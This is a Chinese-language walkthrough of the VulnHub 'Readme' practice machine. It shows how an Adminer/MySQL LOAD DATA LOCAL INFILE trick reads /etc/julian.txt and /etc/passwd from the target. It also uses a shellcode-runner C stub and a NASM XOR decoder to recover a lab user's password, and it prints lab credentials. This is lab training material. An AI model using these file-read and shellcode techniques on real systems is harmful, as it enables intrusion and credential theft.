【oscp】稀有靶机-Readme

admin 2025年1月9日09:45:00评论15 views字数 7199阅读23分59秒阅读模式
以圣剑的名义冲锋!  ~

这个靶机网上的演示很少很少,唯一一篇csdn文章也没有写详细,就是第二个用户的密码是靠汇编的知识获取到的,而他就直接写了个密码,怎么获取的都没写出来,原文如下

https://blog.csdn.net/2301_79316009/article/details/140642836
【oscp】稀有靶机-Readme
image-20250108173457823

这个问题很大,希望原作者能修改修改

【oscp】稀有靶机-Readme
image-20250108173702605

我这里提到了,唯一盲点就是 fixed.nasm 的编写,很懵,回头一定恶补,为此我还特意给老外写了一封邮件,哈哈哈哈

靶机链接:

https://www.vulnhub.com/entry/readme-1,336/

主机发现

【oscp】稀有靶机-Readme
image-20250106172609713

80探测

【oscp】稀有靶机-Readme
image-20250106172553915

访问网页

【oscp】稀有靶机-Readme
image-20250106172650946

端口扫描的mysql服务

【oscp】稀有靶机-Readme
image-20250106172827400

拒绝连接,说明没有开启远程连接

【oscp】稀有靶机-Readme
image-20250106173202928

目录扫描

【oscp】稀有靶机-Readme
image-20250106175541314

php版本

【oscp】稀有靶机-Readme
image-20250106172810008

reminder.php,这里有一个人名 Julian,告诉我们有一个txt文件

【oscp】稀有靶机-Readme
image-20250106181349904
【oscp】稀有靶机-Readme
image-20250106181028870
Also, can you fix this search box? Sometimes it chucks errors depending on what I enter...

I'd do it myself, but I've been busy trying to create some code to enable us to securely store our passwords, seeing as you keep forgetting yours... The encoder seems completely borked though.
大致意思就是,这个输入框会报一些错误,让你修复

测一测sql注入,sql语法错误,存在sql注入漏洞,但是没有回显啊,放弃了

【oscp】稀有靶机-Readme
image-20250106181106824

sqlmap结果

【oscp】稀有靶机-Readme
image-20250106182741626

看另外一个文件,有一个adminer

【oscp】稀有靶机-Readme
image-20250106173521254

mysql服务失效

【oscp】稀有靶机-Readme
image-20250106182931617

使用内网地址,不允许连接到mysql服务器

【oscp】稀有靶机-Readme
image-20250106183008058

返回有一个图片的地方,源码泄露了一个路径

【oscp】稀有靶机-Readme
image-20250106183142369

访问路径

【oscp】稀有靶机-Readme
image-20250106183225354

文件内容

【oscp】稀有靶机-Readme
image-20250106183238073

ssh用户julian密码爆破的结果

【oscp】稀有靶机-Readme
image-20250106183738294

漏洞检索,也没有结果

【oscp】稀有靶机-Readme
image-20250106173723065

连接靶机的mysql不行,那么连接你攻击机的mysql呢?将你得mysql服务器(kali)开启远程连接,将这一行注释掉

vim /etc/mysql/mariadb.conf.d/50-server.cnf
【oscp】稀有靶机-Readme
image-20250107135413984

重启mysql

sudo service mysql restart

设置mysql密码,并登录

sudo mysqladmin -u root  password 'root'
mysql -u root -h 192.168.111.128 -p
# 输入你得密码

创建登录数据库,新加一个数据

create database test; # 创建一个test数据库
use test # 切换到test数据库
create table demo(id int,name text); # 创建一个普通的表
insert into demo values(1,'demofefhkhakfh'); # 添加任意数据

select * from demo;
+------+----------------+
| id   | name           |
+------+----------------+
|    1 | demofefhkhakfh |
+------+----------------+
1 row in set (0.000 sec)

这里我们就能进行远程连接了

【oscp】稀有靶机-Readme
image-20250107135046189

连接成功

【oscp】稀有靶机-Readme
image-20250107135706221

这里再结合之前暴露出来的路径信息

【oscp】稀有靶机-Readme
image-20250107140703023

执行如下命令

load data local infile "/etc/julian.txt" into table demo;
【oscp】稀有靶机-Readme
image-20250107140931688

为空,检查一下原因

【oscp】稀有靶机-Readme
image-20250107141641870

设置一下local_infile

SET GLOBAL local_infile = true;
SHOW GLOBAL VARIABLES LIKE 'local_infile';
【oscp】稀有靶机-Readme
image-20250107143223029

检查secure_file_priv

SHOW GLOBAL VARIABLES LIKE 'secure_file_priv';
【oscp】稀有靶机-Readme
image-20250107143302306

这些都没问题,就是sql语句错了,可以看看这篇老外写的文章

https://rastating.github.io/readme-walkthrough/

正确的sql语句因该如下才对(和原来的对比就是少了个字段)

# 原失败的sql语句
load data local infile "/etc/julian.txt" into table demo;

# 成功的sql语句,这里设置了一个终止符,并且添加了一个指定字段的分隔符
load data local infile '/etc/julian.txt' into table test.demo fields terminated by "n";
【oscp】稀有靶机-Readme
image-20250107143942761

同理,包含/etc/passwd,也可以成功

【oscp】稀有靶机-Readme
image-20250107144239842

sql语句如下

load data local infile '/etc/passwd' into table test.demo fields terminated by "n";

但是包含了passwd文件,并没有julian这个用户,可能显示上限了吧,用密码登录一下,和上面对比,验证了我们刚刚的结论

I_mean...WhoThoughtLettingTheMySQLClientTransmitFilesWasAGoodIdea?Sheesh
【oscp】稀有靶机-Readme
image-20250107144738062

漏洞利用原理自行查看,这篇文章写的不错:

https://wiki.96.mk/Web%E5%AE%89%E5%85%A8/Adminer/Adminer%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E/

登录成功后,信息收集

【oscp】稀有靶机-Readme
image-20250107145047080

识别hash类型,是MD5

【oscp】稀有靶机-Readme
image-20250107145036729
【oscp】稀有靶机-Readme
image-20250107145202442

sudo

【oscp】稀有靶机-Readme
image-20250107145333985

再切换用户的目录,有一个poc.c,编译一下

【oscp】稀有靶机-Readme
image-20250107145729699

开启了http服务,看样子有防火墙

【oscp】稀有靶机-Readme
image-20250107145751662

继续信息收集

【oscp】稀有靶机-Readme
image-20250107151001836

端口和进程信息

【oscp】稀有靶机-Readme
image-20250107151257728

suid文件

【oscp】稀有靶机-Readme
image-20250107151601319

历史命令

【oscp】稀有靶机-Readme
image-20250107151616811

那还能咋办嘞,c的源码是有的,我们可以直接将c的源码复制到kali进行编译就行,先分析一下源码吧,基本的信息收集已经没有什么可以利用的了,这里需要将这个 poc 编译,还有那个 payload.bin来获取密码

  • payload.bin:一个包含了 shellcode, 和 tatham用户的密码信息
  • poc.c :一个需要放置shellcode并运行他的文件
【oscp】稀有靶机-Readme
image-20250107165207672
#include <stdio.h>
#include <string.h>

int main(void)
{
    unsigned char code[] = "";

    void (*s)() = (void *)code;
    s();

    return 0;
}

在kali中报了如下错误

【oscp】稀有靶机-Readme
image-20250107153833625

依次执行如下命令即可

dpkg --add-architecture i386
apt-get update
apt-get install libc6-dev-i386

编译成功

【oscp】稀有靶机-Readme
image-20250107154224954

这里又要用到反汇编了,完整的poc.c如下

【oscp】稀有靶机-Readme
image-20250107170940877

这里要用到gdb调试工具自动解码还有手动解码,两种方法,计算shellcode的原始十六进制字节,然后生成一个fixed.nasm有效载荷,这个文件的内容如下,这个文件的编写(这个文件内容如何编写的,这就涉及到知识盲区了,太菜了,不会逆向),可以参考如下文章,关于这个靶机,网上的资料太少太少了

https://rastating.github.io/readme-walkthrough/
global _start

section .text
  _start:
    ; set the frame pointer
    mov   ebp, esp

    ; clear required registers
    xor   eax, eax
    xor   ebx, ebx
    xor   ecx, ecx
    xor   edx, edx

    ; push encoded password onto stack
    push  0x7f7f1312
    push  0x157b2f22
    push  0x13247312
    push  0x087b0423
    push  0x73287022
    push  0x30280912
    push  0x3b162f20
    push  0x360e1919
    push  0x157b0913
    push  0x757b0960
    push  0x70167510
    push  0x2d162f25
    push  0x73241923
    push  0x09167527
    push  0x1a772b0c
    push  0x37787217

    ; calculate size of password and store in $ecx
    lea   ecx, [ebp]
    sub   ecx, esp

    ; begin xor on the encoded password
    decode_loop:
      ; if at dword 12, xor with F
      lea   edx, [0x14]
      cmp   ecx, edx
      jz    xor_f

      ; if at dword 11, xor with E
      lea   edx, [0x18]
      cmp   ecx, edx
      jz    xor_e

      ; if at dword 10, xor with E
      lea   edx, [0x1c]
      cmp   ecx, edx
      jz    xor_e

      ; if at dword 9, xor with B
      lea   edx, [0x20]
      cmp   ecx, edx
      jz    xor_b

      ; if at dword 8, xor with D
      lea   edx, [0x24]
      cmp   ecx, edx
      jz    xor_d

      ; if at dword 7, xor with 4
      lea   edx, [0x28]
      cmp   ecx, edx
      jz    xor_4

      ; if at dword 6, xor with E
      lea   edx, [0x2c]
      cmp   ecx, edx
      jz    xor_e

      ; if at dword 3, xor with D
      lea   edx, [0x38]
      cmp   ecx, edx
      jz    xor_d

      ; if at none of the unique indexes
      ; xor with A.
      jmp   xor_a

      short_loop_jmp:
        jmp decode_loop

      xor_f:
        lea   ebx, [0x41414146]
        jmp   xor_eof

      xor_e:
        lea   ebx, [0x41414145]
        jmp   xor_eof

      xor_b:
        lea   ebx, [0x41414142]
        jmp   xor_eof

      xor_d:
        lea   ebx, [0x41414144]
        jmp   xor_eof

      xor_4:
        lea   ebx, [0x41414134]
        jmp   xor_eof

      xor_a:
        lea   ebx, [0x41414141]
        jmp   xor_eof

      xor_eof:
        lea   eax, [ebp]
        sub   eax, ecx
        xor   [eax], ebx
        sub   dword [eax], 0x01010101

        sub   ecx, 0x4

    xor   eax, eax
    cmp   ecx, eax
    jnz   short_loop_jmp

    int3
    int3
    int3
    int3

依次执行,会生成一个a.out文件,该文件是修复后的可执行文件,我们使用gdb运行它

【oscp】稀有靶机-Readme
image-20250107194425483

启动此文件就好了,并查看这个xor_eof()函数反汇编信息

【oscp】稀有靶机-Readme
image-20250107194312916

查看寄存器状态,并使用格式说明符(查看内存的内容,并且提供了不同的格式和选项来指定如何显示这些内容)基本用法如下

x/<n><f> <address>
  • n 是要显示的单元数量(可选),表示要查看多少个内存单元。
  • f 是格式说明符,可以用来指定数据类型或格式。
  • <address> 是你想要查看的内存地址。

格式说明符

x/ 命令中使用的格式说明符可以包括:

  • b:以字节(byte)为单位显示。
  • h:以半字(short)为单位显示,通常为 2 字节。
  • w:以单字(word)为单位显示,通常为 4 字节(在某些平台上可能不同)。
  • g:以双字(double word)为单位显示,通常为 8 字节。
  • s:以字符串的形式显示,通常以 null 结尾。
  • f:以浮点数格式显示(比如 floatdouble)。
  • i:以指令的格式显示,适用于机器指令。

例子

  1. 查看从某个地址开始的 10 个字节:

    x/10b 0x08048000
  2. 查看从某个地址开始的 5 个整型(常用 4 字节)值:

    x/5w 0x08048000
  3. 以字符串形式查看从某个地址开始的内容:

    x/s 0x08048000

查看机器指令i,和s一个一个试试,会找到一个base编码

【oscp】稀有靶机-Readme
image-20250107194242726

我们解码看看,这不就是我们要的密码嘛

【oscp】稀有靶机-Readme
image-20250107193951096

密码:So...YouFiguredOutHowToRecoverThisHuh?GGWPnoRE

【oscp】稀有靶机-Readme
image-20250107161456927

往期推荐

【oscp】Blender软件的信息泄露---VulnOSv2

【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了

HTB-Chemistry靶机渗透教程

【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏

【kali笔记】shodan常见的20种基本使用方法,信息收集必备

原文始发于微信公众号(泷羽Sec):【oscp】稀有靶机-Readme

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月9日09:45:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【oscp】稀有靶机-Readmehttps://cn-sec.com/archives/3607946.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息